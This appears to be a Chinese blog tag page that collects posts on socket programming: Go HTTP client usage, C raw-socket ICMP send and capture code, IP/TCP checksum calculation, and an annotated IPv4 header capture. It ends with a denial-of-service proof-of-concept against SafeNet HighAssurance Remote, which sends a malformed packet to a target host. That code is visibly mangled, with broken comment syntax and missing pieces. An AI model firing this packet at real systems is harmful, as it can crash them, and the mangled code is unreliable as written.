标签 socket 下的文章

“”

直接上代码

package main
import (
    "fmt"
    "io/ioutil"
    "net/http"                                                                                                                                                     
    "os"
    "encoding/json"
)

func main() { //生成client 参数为默认
    client := &http.Client{}
    //生成要访问的url
    url := "http://somesite/somepath/"
    //提交请求
    reqest, err := http.NewRequest("GET", url, nil)

    //增加header选项
    reqest.Header.Add("Cookie", "xxxxxx")
    reqest.Header.Add("User-Agent", "xxx")
    reqest.Header.Add("X-Requested-With", "xxxx")

    if err != nil {
        panic(err)
    }   
    //处理返回结果
    response, _ := client.Do(reqest)
    defer response.Body.Close()
}

go http.client timeout

最简单的方式就是使用http.Client的 Timeout字段。 它的时间计算包括从连接(Dial)到读完response body。

c := &http.Client{  
    Timeout: 5 * time.Second,
}
resp, err := c.Get("https://const.net.cn/")

raw socket编程。

运行第一段代码，发送ip数据报，第二段代码接收ip数据报。需要运行第二段代码，否则将无法接收数据报。

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
 
struct iphead{   
    unsigned char ip_hl:4, ip_version:4;  //ip_hl,ip_version各占四个bit位。
    unsigned char ip_tos;
    unsigned short int ip_len;   
    unsigned short int ip_id;
    unsigned short int ip_off;  
    unsigned char ip_ttl;
    unsigned char ip_pro;
    unsigned short int ip_sum;
    unsigned int ip_src;
    unsigned int ip_dst;
};
 
struct icmphead{  //该结构体模拟ICMP报文首部
    unsigned char icmp_type;
    unsigned char icmp_code;
    unsigned short int icmp_sum;
    unsigned short int icmp_id;
    unsigned short int icmp_seq;
};
 
unsigned short int cksum(char buffer[], int size){   //计算校验和，具体的算法可自行百度，或查阅资料
    unsigned long sum = 0;
    unsigned short int answer;
    unsigned short int *temp;
    temp = (short int *)buffer;
    for( ; temp<buffer+size; temp+=1){
        sum += *temp;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return answer;
}
 
int main(){
   
    int sockfd;
    struct sockaddr_in conn;
    struct iphead *ip;
    struct icmphead *icmp;
    unsigned char package[sizeof(struct iphead) + sizeof(struct icmphead)];  //package存储IP数据报的首部和数据
    memset(package, 0, sizeof(package));
 
    ip = (struct iphead*)package;
    icmp = (struct icmphead*)(package+sizeof(struct iphead)); //IP数据报数据字段仅仅包含一个ICMP首部
    sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); //创建套接字
    if(sockfd < 0){
        printf("Create socket failed\n");
        return -1;
    }
    conn.sin_family = AF_INET;
    conn.sin_addr.s_addr = inet_addr("192.168.230.135");
    int one = 1;
    if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0){  //设置套接字行为，此处设置套接字不添加IP首部
        printf("setsockopt failed!\n");
        return -1;
    }
    /*设置IP首部各个字段的值*/  
    ip->ip_version = 4; 
    ip->ip_hl = 5;
    ip->ip_tos = 0;
    ip->ip_len = htons(sizeof(struct iphead) + sizeof(struct icmphead)); //关于htons()、htonl()的作用，可自行百度    
    ip->ip_id = htons(1);
    ip->ip_off = htons(0x4000);
    ip->ip_ttl = 10;
    ip->ip_pro = IPPROTO_ICMP;
    ip->ip_src = htonl(inet_addr("192.168.230.135"));
    ip->ip_dst = htonl(inet_addr("192.168.230.135"));
    printf("ipcksum : %d\n", cksum(package, 20)); 
    ip->ip_sum = cksum(package, 20);  // 计算校验和，应当在其他字段之后设置（实验中发现检验和会被自动添加上）
    
    /*设置ICMP首部各字段值*/
    icmp->icmp_type = 8;
    icmp->icmp_code = 0;
    icmp->icmp_id = 1;
    icmp->icmp_seq = 0;
    icmp->icmp_sum = (cksum(package+20, 8));
    /*接下来发送IP数据报即可*/
    if(sendto(sockfd, package, htons(ip->ip_len), 0,(struct sockaddr *)&conn, sizeof(struct sockaddr)) < 0){
    printf("send failed\n"); 
    return -1;
    }
    printf("send successful\n");    
    return 0;
}

第二段程序

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h>
#include <linux/if_ether.h>

unsigned short int cksum(char buffer[], int size){  //校验函数
    unsigned long sum = 0;
    unsigned short int answer;
    unsigned short int *temp;
    temp = (short int *)buffer;
    for( ; temp<buffer+size; temp+=1)
        sum += *temp;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return answer;
}

int main(){
    unsigned char buffer[1024];
    
  //  int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);//不知为啥，无法设置原始套接字在网络层抓IP数据报
    int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)); //此处，利用原始套接字在数据链路层抓取MAC帧，去掉
    if(sockfd < 0){                                            //14个字节的MAC帧首部即可
        printf("create sock failed\n");
    return -1;
    }    
    int n = recvfrom(sockfd, buffer, 1024, 0, NULL, NULL); //接收MAC帧

    printf("receive %d bytes\n", n);
    for(int i=14; i<n; i++){      //去掉MAC帧首部，直接输出IP数据报每个字节的数据
    if((i-14) % 16 == 0)
        printf("\n");
    printf("%d ",buffer[i]);
    }
    printf("\n");
    printf("ipcksum: %d\n", cksum(buffer+14, 20)); //此处再次校验时，应当输出0
    return 0;
}

这是之前参考
Referenced from:https://blog.csdn.net/nice_wen/article/details/53416063

IP和TCP头校验和计算算法
update:2021-11-9
◆◆当发送IP包时，需要计算IP报头的校验和：

1、  把校验和字段置为0；

2、  对IP头部中的每16bit进行二进制求和；

3、  如果和的高16bit不为0，则将和的高16bit和低16bit反复相加，直到和的高16bit为0，从而获得一个16bit的值；

4、  将该16bit的值取反，存入校验和字段。

◆◆当接收IP包时，需要对报头进行确认，检查IP头是否有误：

算法同上2、3步(不需要将校验和字段置0)，然后判断取反的结果是否为0，是则正确，否则有错。

◆◆算法：

SHORT checksum(USHORT* buffer, int size)

{
unsigned long cksum = 0;

//每16位相加

while(size>1)

{
    cksum += *buffer++;

    size -= sizeof(USHORT);

}

//最后的奇数字节

if(size)

{
    cksum += (UCHAR)buffer;

}

cksum = (cksum>>16) + (cksum&0xffff);  //将高16bit与低16bit相加

cksum += (cksum>>16);                             //将进位到高位的16bit与低16bit 再相加,确保高16位为0

return (USHORT)(~cksum); //最后将结果取反,得到checksum

}

 

◆◆实例：

IP头：  

              45 00    00 31

              89 F5    00 00

              6E 06    00 00（校验字段置0）

              DE B7   45 5D     ->    222.183.69.93

              C0 A8   00 DC     ->    192.168.0.220

计算(IP头20字节)：   

    4500 + 0031 +89F5 + 0000 + 6e06+ 0000 + DEB7 + 455D + C0A8 + 00DC =3 22C4   //每16bit二进制求和

    0003 + 22C4 = 22C7   //高16bit和低16bit反复相加，直到高16位为0

     ~22C7 = DD38            //即为应填充的校验和

当接受到IP数据包时，要检查IP头是否正确，则对IP头进行检验，方法同上(校验和字段不需要置0)：

计算：

    4500 + 0031 +89F5 + 0000 + 6E06+ DD38 + DEB7 + 455D + C0A8 + 00DC =3 FFFC   //每16bit二进制求和

    0003 + FFFC = FFFF         //高16bit和低16bit反复相加，直到高16位为0

     ~FFFF = 00000                  //正确

TCP首部检验和与IP首部校验和的计算方法相同，在程序中使用同一个函数来计算。
需要注意的是，由于TCP首部中不包含源地址与目标地址等信息，为了保证TCP校验的有效性，在进行TCP校验和的计算时，需要增加一个TCP伪首部的校验和，定义如下：

struct 
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz; //强制置空
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}psd_header;

然后我们将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和：
memcpy(SendBuf, &psd_header, sizeof(psd_header)); 
memcpy(SendBuf+sizeof(psd_header), &tcp_header, sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuf, sizeof(psd_header)+sizeof(tcp_header));
Referenced from:https://blog.csdn.net/jiangqin115/article/details/39313689

IPv4头部结构
  以IPv4版本的IP协议为例，分析其头部信息：
  IPv4的头部结构长度为20字节，若含有可变长的选项部分，最多60字节。

(1) 版本号：IP协议的版本。对于IPv4来说值是4
  (2) 头部长度：4位最大为0xF，注意该字段表示单位是字(4字节)
  (3) 服务类型(Type Of Service，TOS)：3位优先权字段(现已被忽略) + 4位TOS字段 + 1位保留字段(须为0)。4位TOS字段分别表示最小延时、最大吞吐量、最高可靠性、最小费用，其中最多有一个能置为1。应用程序根据实际需要来设置 TOS值，如ssh和telnet这样的登录程序需要的是最小延时的服务，文件传输ftp需要的是最大吞吐量的服务
  (4) 总长度: 指整个IP数据报的长度，单位为字节，即IP数据报的最大长度为65535字节(2的16次方)。由于MTU的限制，长度超过MTU的数据报都将被分片传输，所以实际传输的IP分片数据报的长度远远没有达到最大值

  下来的3个字段则描述如何实现分片:
  (5) 标识：唯一地标识主机发送的每一个数据报，其初始值是随机的，每发送一个数据报其值就加1。同一个数据报的所有分片都具有相同的标识值
  (6) 标志: 位1保留，位2表禁止分片(DF)，若设置了此位，IP模块将不对数据报进行分片，在此情况下若IP数据报超过MTU，IP模块将丢弃数据报并返回一个ICMP差错报文；位3标识更多分片(MF)，除了数据报的最后一个分片，其他分片都要把它设置为1
  (7) 位偏移：分片相对原始IP数据报数据部分的偏移。实际的偏移值为该值左移3位后得到的，所以除了最后一个IP数据报分片外，每个IP分片的数据部分的长度都必须是8的整数倍

  (8) 生存时间:：数据报到达目的地之前允许经过的路由器跳数。TTL值被发送端设置，常设置为64。数据报在转发过程中每经过一个路由该值就被路由器减1.当TTL值为0时，路由器就将该数据包丢弃，并向源端发送一个ICMP差错报文。TTL可以防止数据报陷入路由循环
  (9) 协议: 区分IP协议上的上层协议。在Linux系统的/etc/protocols文件中定义了所有上层协议对应的协议字段，ICMP为1，TCP为6，UDP为17
  (10) 头部校验和： 由发送端填充接收端对其使用CRC算法校验，检查IP数据报头部在传输过程中是否损坏
  (11) 源IP地址和目的IP地址: 表示数据报的发送端和接收端。一般情况下这两个地址在整个数据报传递过程中保持不变，不论中间经过多少个路由器
  (12) 选项：可变长的可选信息，最多包含40字节。选项字段很少被使用。

执行telnet命令登录本机，并在另一终端抓取这个过程中telnet服务器-telnet客户端之间的数据包:

$ sudo tcpdump -ntx -i lo

  在另一终端:

$ telnet 127.0.0.1

  观察tcpdump抓取到的数据：

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 127.0.0.1.44626 > 127.0.0.1.23: Flags [S], seq 3041640326, win 43690, options [mss 65495,sackOK,TS val 4701824 ecr 0,nop,wscale 7], length 0

0x0000:  4510 003c 0106 4000 4006 3ba4 7f00 0001
0x0010:  7f00 0001 ae52 0017 b54b bf86 0000 0000
0x0020:  a002 aaaa fe30 0000 0204 ffd7 0402 080a
0x0030:  0047 be80 0000 0000 0103 0307

  这是一个IP数据报：
  (1) telnet登录的是本机，所以IP数据报的源端IP地址和目的端IP地址都是127.0.0.1。telnet服务器使用的端口号是23，

  telnet客户端使用的是临时端口号44626。telnet服务使用的是TCP协议，Flags、sq、win、options描述的都是TCP头部信息，详细将在TCP协议分析中解析。

  (2) tcpdump命令开启-x选项，使之输出二进制码。这些二进制码用十六进制的格式呈现，共60字节: 前20字节是IP头部，后40字节是TCP头部。length为0表示这些数据不包含数据。

  对照前面表格的IPv4，可得各数据取值意义如下:

0x4             4位的版本号                      IP版本号
0x5             4位的头部长度                 头部长度为5个字(20字节)
0x10            8位的服务类型TOS              开启最小延时服务
0x003c          16位的总长度                 数据包总长度(60字节)

0x0106          16位的标识                      数据报标识
0x4             3位的标志                       禁止分片，因没携带数据

0x000           13位的位偏移                 为0表没发生位偏移
0x40            8位的生存时间                 生存时间为64跳
0x06            8位的协议字段                 为6表上层协议是TCP协议

0x3ba4          16位的IP头部校验和             头部校验和

0x7f00 0001     32位的源端IP地址              源端IP地址127.0.0.1
0x7f00 0001     32位的目的端IP地址             目的端IP地址127.0.0.1

Referenced from:https://blog.csdn.net/qq_29344757/article/details/78570272

include <libnet.h>

int main (int argc, char **argv)
{
u_char *buf = NULL;

/ libnet vars /
char errbuf[LIBNET_ERRBUF_SIZE];
libnet_t *lnsock;
char *device = NULL;

/ packet vars /
struct ip *ip_hdr = NULL;
struct opt *opt_hdr = NULL;
u_int32_t src_ip = 0, dst_ip = 0;

printf ("SafeNet HighAssurance Remote ~1.4.0 Ring0 DoS POCn"

      "by John Anderson <john@ev6.net>\n"
      "   mu-b <mu-b@digit-labs.org>\n\n");

if (!argv[1])

{
  printf ("Usage: %s <destination> [source]\n", argv[0]);
  exit (EXIT_FAILURE);
}

/ allocate space for packet /
if ((buf = malloc (IPV6_HDR_LEN + UDP_LEN)) == NULL)

{
  perror ("malloc: ");
  exit (EXIT_FAILURE);
}

/ initialise libnet /
lnsock = libnet_init (LIBNET_RAW4_ADV, device, errbuf);
if (lnsock == NULL)

{
  fprintf (stderr, "libnet_init() failed: %s", errbuf);
  exit (-1);
}

if (!argv[2])

src_ip = lookup ("127.0.0.1");

else

src_ip = lookup (argv[2]);

dst_ip = lookup (argv[1]);

/ Build the pseudo-IPv4 header /
memset (buf, 0, sizeof buf);
ip_hdr = (struct ip *) buf;
ip_hdr->ip_v = 6;
ip_hdr->ip_hl = 0;
ip_hdr->ip_tos = 0;
ip_hdr->ip_len = htons (IPV6_HDR_LEN + UDP_LEN);
ip_hdr->ip_id = htons (0);
ip_hdr->ip_off = htons (0);
ip_hdr->ip_ttl = 0;
ip_hdr->ip_p = 0;
ip_hdr->ip_sum = 0;
ip_hdr->ip_src.s_addr = src_ip;
ip_hdr->ip_dst.s_addr = dst_ip;

/ Build option header with poison bytes /
opt_hdr = (struct opt *) (buf + IPV6_HDR_LEN);
opt_hdr->nxt_hdr = 0x3C; / != 0x3B /
opt_hdr->opt_len = 0x07; /* length n such that:-

                             *(((u_char *)opt_hdr) + n * 2) != 0x3B &&
                             *(((u_char *)opt_hdr) + n * 2 + 1) == 0x00 &&
                             n * 2 < IPV6_HDR_LEN + UDP_LEN */
                            /* a value of 0x00 will suffice!@$%! */

printf ("Attacking %s", argv[1]);
libnet_write_raw_ipv4 (lnsock, buf, IPV6_HDR_LEN + UDP_LEN);
printf (".n");

return (EXIT_SUCCESS);
}

  1. 1
  2. 2
  3. 3
  4. 4